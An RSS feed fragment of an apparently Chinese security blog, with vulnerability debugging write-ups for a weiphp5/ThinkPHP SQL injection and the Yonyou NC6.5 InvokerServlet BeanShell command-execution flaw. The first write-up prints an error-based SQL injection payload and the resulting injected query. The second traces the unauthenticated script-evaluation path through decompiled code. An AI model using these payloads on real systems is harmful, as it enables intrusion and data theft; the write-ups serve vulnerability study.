&lt;p&gt;接着返回到遍历数组的语句，继续传入 &lt;code&gt;$val&lt;/code&gt; 的第二个键值对，也就是poc中post data传入的 &lt;code&gt;uid[0]=exp&amp;amp;uid[1]=)%20and%20updatexml……&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F88352e98-9a6c-48f9-9456-d54baf7a15e6%2FUntitled.png?table=block&amp;amp;id=64a6988d-8e7f-4f8c-bfb3-bcc920fa1719&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;这里开始与前面的步骤一样，经过 &lt;code&gt;array_shift&lt;/code&gt; 函数处理， &lt;code&gt;$field&lt;/code&gt; 赋值为 &lt;code&gt;uid&lt;/code&gt; ，并且数组变成 &lt;code&gt;{&amp;quot;exp&amp;quot;, think\db\Expression}&lt;/code&gt; ，后者即传入的恶意sql语句  &lt;code&gt;) and updatexml\n(1,concat(0x7e,/*!user*/(),0x7e),1)--&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F73981f43-1148-467a-b406-e0d026b89486%2FUntitled.png?table=block&amp;amp;id=75d5a15c-3a50-4065-94fa-ee00773cd8e0&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;

&lt;p&gt;重复上面解析&lt;code&gt;publicid&lt;/code&gt;的一系列函数处理，一步步将 &lt;code&gt;think\db\Expression&lt;/code&gt; 的值解析出来，赋值给&lt;strong&gt;&lt;code&gt;value&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fa3e86902-4e01-435f-a060-44a00fa81b67%2FUntitled.png?table=block&amp;amp;id=7eaf0635-e429-4337-b57a-51416f9c98f1&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;最终在 &lt;code&gt;\think\db\Builder::parseExp&lt;/code&gt; 处拼接左右括号和&lt;code&gt; $key&lt;/code&gt; ，用 &lt;code&gt;getValue&lt;/code&gt; 取值&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F3e45128d-29ec-4237-bb16-4bd3e0c454cc%2FUntitled.png?table=block&amp;amp;id=dfc29fa4-40d1-42ee-8e29-8a4ee0b35d10&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;而 &lt;code&gt;getValue&lt;/code&gt; 函数直接返回 &lt;code&gt;value&lt;/code&gt; 的值 (&lt;code&gt;\think\db\Expression::getValue&lt;/code&gt;)，中间的函数并没有对传入的&lt;code&gt;uid&lt;/code&gt;数组进行相关的字符过滤、转义或者检查等操作&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F78994484-06b2-4efe-8399-061b2a237e55%2FUntitled.png?table=block&amp;amp;id=a7a88a14-2b97-45c2-937a-96f5b1fe81c8&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;value&lt;/code&gt; 闭合括号即产生了注入&lt;/p&gt;
&lt;p&gt;与上文一样在&lt;code&gt;\think\db\Builder::parseWhereItem&lt;/code&gt; 返回解析后的值&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F12383f9a-dc59-44b8-a935-08509e3003fd%2FUntitled.png?table=block&amp;amp;id=900617e8-5387-439f-8318-1b5719feae87&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;接着把两次处理后的值拼接起来&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F780b5d73-6e01-4ad9-969d-ee590c52289b%2FUntitled.png?table=block&amp;amp;id=8bd613a3-3c00-4106-b169-eedb1927fb9d&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;作为&lt;code&gt;\think\db\Builder::parseWhere &lt;/code&gt;的返回值，回到 &lt;code&gt;select&lt;/code&gt; 函数完成后续的 &lt;code&gt;parse&lt;/code&gt; 函数， 再返回给前文的&lt;code&gt;select&lt;/code&gt;语句&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fbb0e1716-39e9-4f24-ba5a-dc197c59283d%2FUntitled.png?table=block&amp;amp;id=ce27113f-1ca2-498c-a1c7-e0c26d36e2fc&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;最终的 &lt;code&gt;$sql&lt;/code&gt; 语句&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-SQL&quot;&gt;SELECT * FROM `wp_user_follow` WHERE  `publicid` = :ThinkBind_1_  AND ( `uid` ) and updatexml\n(1,concat(0x7e,/*!user*/(),0x7e),1)--  ) LIMIT 1&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后执行查询 &lt;code&gt;$sql&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F2b6df157-6c9c-48e0-81a6-8c6a7780a37b%2FUntitled.png?table=block&amp;amp;id=51789a04-1b15-4c67-af6d-16b5a74e13fe&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;后面初始化、连接数据库等就不赘述了&lt;/p&gt;

&lt;p&gt;到这里的堆栈&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-PHP&quot;&gt;Connection.php:644, think\db\Connection-&amp;gt;query()
Connection.php:844, think\db\Connection-&amp;gt;find()
Query.php:3132, think\db\Query-&amp;gt;find()
Index.php:161, app\home\controller\Index-&amp;gt;bind_follow()
Container.php:395, ReflectionMethod-&amp;gt;invokeArgs()
Container.php:395, think\Container-&amp;gt;invokeReflectMethod()
Module.php:132, think\route\dispatch\Module-&amp;gt;think\route\dispatch\{closure}()
Middleware.php:185, call_user_func_array:{C:\ALLHERE\phpstudy\phpstudy_pro\WWW\weiphp5\thinkphp\library\think\Middleware.php:185}()
Middleware.php:185, think\Middleware-&amp;gt;think\{closure}()
Middleware.php:130, call_user_func:{C:\ALLHERE\phpstudy\phpstudy_pro\WWW\weiphp5\thinkphp\library\think\Middleware.php:130}()
Middleware.php:130, think\Middleware-&amp;gt;dispatch()
Module.php:137, think\route\dispatch\Module-&amp;gt;exec()
Dispatch.php:168, think\route\Dispatch-&amp;gt;run()
App.php:432, think\App-&amp;gt;think\{closure}()
Middleware.php:185, call_user_func_array:{C:\ALLHERE\phpstudy\phpstudy_pro\WWW\weiphp5\thinkphp\library\think\Middleware.php:185}()
Middleware.php:185, think\Middleware-&amp;gt;think\{closure}()
Middleware.php:130, call_user_func:{C:\ALLHERE\phpstudy\phpstudy_pro\WWW\weiphp5\thinkphp\library\think\Middleware.php:130}()
Middleware.php:130, think\Middleware-&amp;gt;dispatch()
App.php:435, think\App-&amp;gt;run()
index.php:55, {main}()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 利用情况&lt;/h2&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F3f64b0f8-a46e-43b5-b301-6b58c5311adf%2FUntitled.png?table=block&amp;amp;id=ced5f213-7820-4894-9f07-7a5d709e643c&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;

</content:encoded>
        </item>
        <item>
            <title><![CDATA[yonyou nc6.5 InvokerServlet 任意类调用执行漏洞调试]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/yy-nc</link>
            <guid isPermaLink="true">https://z-zh.lol/yy-nc</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>

&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;用友NC是一款企业级ERP软件。作为一种信息化管理工具，用友NC提供了一系列业务管理模块，包括财务会计、采购管理、销售管理、物料管理、生产计划和人力资源管理等，帮助企业实现数字化转型和高效管理。&lt;/p&gt;
&lt;p&gt;用友NC6.5中的&lt;code&gt;nc/bs/framework/server/InvokerServlet.class&lt;/code&gt; 存在未授权任意类调用漏洞，该漏洞通过构造特殊的数据包调用NC自有类可导致反序列化或命令执行。其中可利用BeanShell接口执行任意命令，漏洞编号&lt;strong&gt;&lt;strong&gt;CNVD-2021-30167&lt;/strong&gt;&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;安装&lt;/h2&gt;
&lt;blockquote&gt;windows10 x64
jdk1.7.0_21&lt;/blockquote&gt;
&lt;p&gt;下载nc6.5，解压后启动安装脚本 &lt;code&gt;path\NC6.5\yonyou_nc\setup.bat&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;1、全选安装产品&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fde5b8dee-6266-4a97-9793-47f2c9f9360a%2FUntitled.png?table=block&amp;amp;id=ab089876-a21a-41d2-ac35-d8151ea1a103&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;2、安装完成后自动启动&lt;code&gt;path\yonyou\home\bin\sysConfig.bat&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;1）配置服务器信息，点击读取，修改需要自定义的参数后保存&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F41dbe8b3-4bf4-4a91-aef1-5dd5ee5e8e3e%2FUntitled.png?table=block&amp;amp;id=d6a82695-3d48-4c35-9178-eb8262a95628&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;2）这里不添加任何数据源（数据库）和授权，直接 &lt;code&gt;部署EJB&lt;/code&gt; 即可&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F7c9c1330-6bbd-4bcb-9e4f-702b29967074%2FUntitled.png?table=block&amp;amp;id=3815b1c7-59b6-415a-988a-c2e4c2018307&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;3）运行&lt;code&gt;path\yonyou\home\startServer.bat&lt;/code&gt; 无报错即可&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fed9280cf-6b9c-4616-84c5-0dfec8501e75%2FUntitled.png?table=block&amp;amp;id=fca72409-fa9d-4bd6-ad97-5975a8c0a1ad&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h2&gt;准备&lt;/h2&gt;
&lt;p&gt;导出目录下所有jar包，加载到idea中，配置idea远程调试参数&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F5e82d7ba-8acb-4e85-82ed-6f7aad8f707c%2FUntitled.png?table=block&amp;amp;id=86436c03-9878-405e-ae79-2f580b5d522a&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;在启动yonyounc时添加jdwp参数&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Shell&quot;&gt;C:\java\jdk1.7.0_21\bin\java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=192.168.249.1:5005 -server -Xmx768m -XX:PermSize=128m -XX:MaxPermSize=512m -Djava.awt.headless=true -Dfile.encoding=GBK -Duser.timezone=GMT+8 -Dnc.server.name=server -Dnc.server.startCount=0 -DNC_JAVA_HOME=$JAVA_HOME -Dorg.owasp.esapi.resources=C:\yonyou\home/ierp/bin/esapi -Dnc.bs.logging.format=text -Dnc.server.location=C:\yonyou\home -Drun.side=server -Dnc.run.side=server -cp C:\yonyou\home\starter.jar;C:\java\jdk1.7.0_21\lib\tools.jar;C:\yonyou\home\ant\lib\ant-launcher.jar;C:\yonyou\home\lib\cnytiruces.jar nc.bs.mw.start.AloneBootstrap start&lt;/code&gt;&lt;/pre&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Ff502e850-97d7-4809-9580-02c0c90fb555%2FUntitled.png?table=block&amp;amp;id=2a8c3853-a402-425e-b218-8c22f822f45c&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h2&gt;调试&lt;/h2&gt;
&lt;ul&gt;&lt;li&gt;servlet-mapping&lt;/li&gt;&lt;/ul&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F8c0b6e35-d2d3-4d1f-a326-317481f64488%2FUntitled.png?table=block&amp;amp;id=3ef376c1-cc8d-4bc5-8e62-a9d646db5145&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;ul&gt;&lt;li&gt;poc&lt;/li&gt;&lt;/ul&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F4ded1945-4af9-4360-b9da-086dd6cda555%2FUntitled.png?table=block&amp;amp;id=fdaac9f8-95af-483d-bf89-0182347bbc96&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h3&gt;moduleName&lt;/h3&gt;
&lt;p&gt;根据poc在 &lt;code&gt;bsh/servlet/BshServlet.class$doGet()&lt;/code&gt; 方法下断点，跟进到 &lt;code&gt;nc/bs/framework/server/InvokerServlet.class$doAction()&lt;/code&gt; 方法&lt;/p&gt;
&lt;p&gt;关键代码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Java&quot;&gt;						pathInfo = pathInfo.trim();
            String moduleName = null;
            String serviceName = null;
            int beginIndex;
            if (pathInfo.startsWith(&amp;quot;/~&amp;quot;)) {   //按/~分割字符获取moduleName和serviceName
                moduleName = pathInfo.substring(2);
                beginIndex = moduleName.indexOf(&amp;quot;/&amp;quot;);
                if (beginIndex &amp;gt;= 0) { //如果第三个字符之后有斜杠则斜杠之前为moduleName，后为serviceName
                    serviceName = moduleName.substring(beginIndex);
                    if (beginIndex &amp;gt; 0) {
                        moduleName = moduleName.substring(0, beginIndex);
                    } else {
                        moduleName = null;
                    }
                } else {
                    moduleName = null;
                    serviceName = pathInfo;  //如果无斜杠则moduleName为空，pathInfo作为serviceName
                }
            } else {
                serviceName = pathInfo;
            }

            if (serviceName == null) {
                throw new ServletException(&amp;quot;Service name is not specified&amp;quot;);
            }

            beginIndex = serviceName.indexOf(&amp;quot;/&amp;quot;);
            if (beginIndex &amp;lt; 0 || beginIndex &amp;gt;= serviceName.length() - 1) {
                throw new ServletException(&amp;quot;Service name is not specified&amp;quot;);
            }

            serviceName = serviceName.substring(beginIndex + 1);
            Object obj = null;

            String msg;
            try {
                obj = this.getServiceObject(moduleName, serviceName); //获取服务对象
            } catch (ComponentException var76) {
                msg = svcNotFoundMsgFormat.format(new Object[]{serviceName});
                Logger.error(msg, var76);
                throw new ServletException(msg);
            }&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;pathInfo&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F89b644fb-868c-41a2-bf8e-18c5dd8e10c7%2FUntitled.png?table=block&amp;amp;id=e4e2a3b1-23d3-4fda-a605-c5c5a61a2915&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;传参结果，&lt;code&gt;moduleName&lt;/code&gt; 为 &lt;code&gt;ali&lt;/code&gt; ， &lt;code&gt;serviceName&lt;/code&gt;为 &lt;code&gt;/bsh.servlet.BshServlet&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F38d6b9e1-2268-4547-acc6-5098a5277c8b%2FUntitled.png?table=block&amp;amp;id=d86878f8-4146-467f-a7ad-3924ec09ee8b&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;跟进 &lt;code&gt;this.getServiceObject()&lt;/code&gt; 方法&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Java&quot;&gt;private Object getServiceObject(String moduleName, String serviceName) throws ComponentException {
        Object retObject = null;
        if (moduleName == null) {
            retObject = NCLocator.getInstance().lookup(serviceName); //模块名为空则调用此方法获取服务对象
        } else {
            retObject = serviceObjMap.get(moduleName + &amp;quot;:&amp;quot; + serviceName); //从缓存中获取服务对象
            if (retObject == null) { //如果缓存中没有
                Container deployed = BusinessAppServer.getInstance().getContainer(moduleName); //根据模块名获取对应的容器对象

                try {
									........
            }

            if (retObject != null) { //retObject不为空
                serviceObjMap.put(moduleName + &amp;quot;:&amp;quot; + serviceName, retObject);
            }
        }

        return retObject; //返回retObject
    }&lt;/code&gt;&lt;/pre&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F152815b5-dc74-4704-86c3-ad29b3cb1763%2FUntitled.png?table=block&amp;amp;id=3858fe01-0da8-4674-bb10-8183f06b5263&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;在 &lt;code&gt;BusinessAppServer.getInstance().getContainer()&lt;/code&gt; 中，根据模块名在&lt;code&gt;nameModulesMap&lt;/code&gt;中获取对应的容器，228个模块名可利用&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F0585bd44-a354-4f6b-b28e-b6043e08ac17%2FUntitled.png?table=block&amp;amp;id=a284d43d-e139-404b-b035-397f58106102&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;初始化方法中将&lt;code&gt;/home/modules&lt;/code&gt;目录下的所有子目录放入HashMap&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fd389e191-9e3a-4eb0-b187-3060f80cf8ec%2FUntitled.png?table=block&amp;amp;id=385deffa-7409-410f-a51f-771e78e79a73&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F82647c12-fa5b-4f64-b226-7cd0e1065a5e%2FUntitled.png?table=block&amp;amp;id=e9574d19-72bd-43f2-ba6a-2ce1df6035cb&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h3&gt;ServiceName兵分两路&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;getServiceObject&lt;/code&gt;之后兵分两路，主要分为两个方法触发漏洞&lt;/p&gt;
&lt;h4&gt;Service&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;obj&lt;/code&gt; 为 &lt;code&gt;BshServlet@12592&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;接着启动线程监控器跟踪指定线程&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Java&quot;&gt;						ThreadTracer.getInstance().startThreadMonitor(&amp;quot;invokeservlet-&amp;quot; + serviceName + &amp;quot;-&amp;quot; + (obj == null ? &amp;quot;&amp;quot; : obj.getClass().getName()), request.getRemoteAddr() + &amp;quot;:&amp;quot; + request.getRemotePort(), &amp;quot;anonymous&amp;quot;, (String)null);
						if (obj instanceof Servlet) { //判断obj是否实现了Servlet接口，是
                Logger.init(obj.getClass()); //初始化Logger

                try {
                    if (obj instanceof GenericServlet) { //是
                        ((GenericServlet)obj).init(); //初始化
                    }

                    this.preRemoteProcess(); //预处理
                    ((Servlet)obj).service(request, response); //调用obj的service()方法处理http请求
                    this.postRemoteProcess();
                } catch (ServletException var72) {
                    this.postErrorRemoteProcess(var72);
                    Logger.error(&amp;quot;Invoker serlet: &amp;quot; + obj.getClass() + &amp;quot; error&amp;quot;, var72);
                    throw var72;
                } catch (IOException var73) {
                    this.postErrorRemoteProcess(var73);
                    Logger.error(&amp;quot;Invoker serlet: &amp;quot; + obj.getClass() + &amp;quot; error&amp;quot;, var73);
                    throw var73;
                } catch (Throwable var74) {
                    this.postErrorRemoteProcess(var74);
                    Logger.error(&amp;quot;Invoker serlet: &amp;quot; + obj.getClass() + &amp;quot; error&amp;quot;, var74);
                    throw new ServletException(&amp;quot;Invoker serlet: &amp;quot; + obj.getClass() + &amp;quot; error&amp;quot;, var74);
                } finally {
                    Logger.reset();
                }
            }&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;obj对象&lt;code&gt;BshServlet&lt;/code&gt;继承了&lt;code&gt;HttpServlet&lt;/code&gt; 类，重写了&lt;code&gt;doGet()&lt;/code&gt; 方法&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fd42fac32-49b3-416f-aaa4-0d156016e649%2FUntitled.png?table=block&amp;amp;id=0d44ae3f-9cae-4bba-b8c8-fd987918ab97&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;跟进service方法：&lt;code&gt;javax/servlet/http/HttpServlet.class$service()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;serlvetMappings如下&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fe06459de-245c-4af3-9c39-981bb8f20bec%2FUntitled.png?table=block&amp;amp;id=d80b5aac-4eb3-480f-8022-180cff7f80b9&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F3c412c02-bb26-4383-9bf0-b02fd6e2819f%2FUntitled.png?table=block&amp;amp;id=2889de0b-3290-42d8-aba2-450f52e985de&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;经过 &lt;code&gt;org/apache/catalina/connector/RequestFacade.class$getMethod()&lt;/code&gt; 方法之后调用当前对象&lt;code&gt;BshServlet&lt;/code&gt;的&lt;code&gt;doGet&lt;/code&gt;方法处理&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F9e53ede6-167f-4612-9b77-82f7dca02692%2FUntitled.png?table=block&amp;amp;id=d48985d5-09af-4f1a-9831-46390a6fa1d0&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;注意，如果是POST方法，同样是传递到doGet中执行&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F9a862158-65e5-4fba-84fb-5aa00bd4cca2%2FUntitled.png?table=block&amp;amp;id=659cd82a-2a39-4a52-9aaf-5cdc6d9b6326&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;bsh/servlet/BshServlet.class$doGet()&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Java&quot;&gt;public void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
        String var3 = var1.getParameter(&amp;quot;bsh.script&amp;quot;); //获取执行的脚本
        String var4 = var1.getParameter(&amp;quot;bsh.client&amp;quot;);
        String var5 = var1.getParameter(&amp;quot;bsh.servlet.output&amp;quot;);
        String var6 = var1.getParameter(&amp;quot;bsh.servlet.captureOutErr&amp;quot;);
        boolean var7 = false;
        if (var6 != null &amp;amp;&amp;amp; var6.equalsIgnoreCase(&amp;quot;true&amp;quot;)) {
            var7 = true;
        }

        Object var8 = null;
        Exception var9 = null;
        StringBuffer var10 = new StringBuffer();
        if (var3 != null) {
            try {
                var8 = this.evalScript(var3, var10, var7, var1, var2); //调用evalScript方法处理脚本
            } catch (Exception var12) {
                var9 = var12;
            }
        }

        var2.setHeader(&amp;quot;Bsh-Return&amp;quot;, String.valueOf(var8));
        if ((var5 == null || !var5.equalsIgnoreCase(&amp;quot;raw&amp;quot;)) &amp;amp;&amp;amp; (var4 == null || !var4.equals(&amp;quot;Remote&amp;quot;))) {
            this.sendHTML(var1, var2, var3, var9, var8, var10, var7);
        } else {
            this.sendRaw(var1, var2, var9, var8, var10);
        }

    }&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;evalScript&lt;/code&gt;方法&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Java&quot;&gt;Object evalScript(String var1, StringBuffer var2, boolean var3, HttpServletRequest var4, HttpServletResponse var5) throws EvalError {
        ByteArrayOutputStream var6 = new ByteArrayOutputStream();
        PrintStream var7 = new PrintStream(var6);
        Interpreter var8 = new Interpreter((Reader)null, var7, var7, false); //创建BeanShell解释器实例
        var8.set(&amp;quot;bsh.httpServletRequest&amp;quot;, var4);
        var8.set(&amp;quot;bsh.httpServletResponse&amp;quot;, var5);
        Object var9 = null;
        Object var10 = null;
        PrintStream var11 = System.out;
        PrintStream var12 = System.err;
        if (var3) {
            System.setOut(var7); //输出流重定向到PrintStream对象
            System.setErr(var7);
        }

        try {
            var9 = var8.eval(var1); //执行命令
        } finally {
            if (var3) {
                System.setOut(var11);
                System.setErr(var12);
            }

        }

        var7.flush();
        var2.append(var6.toString());
        return var9;
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跟进到 &lt;code&gt;Interpreter.class$eval()&lt;/code&gt; 方法&lt;/p&gt;
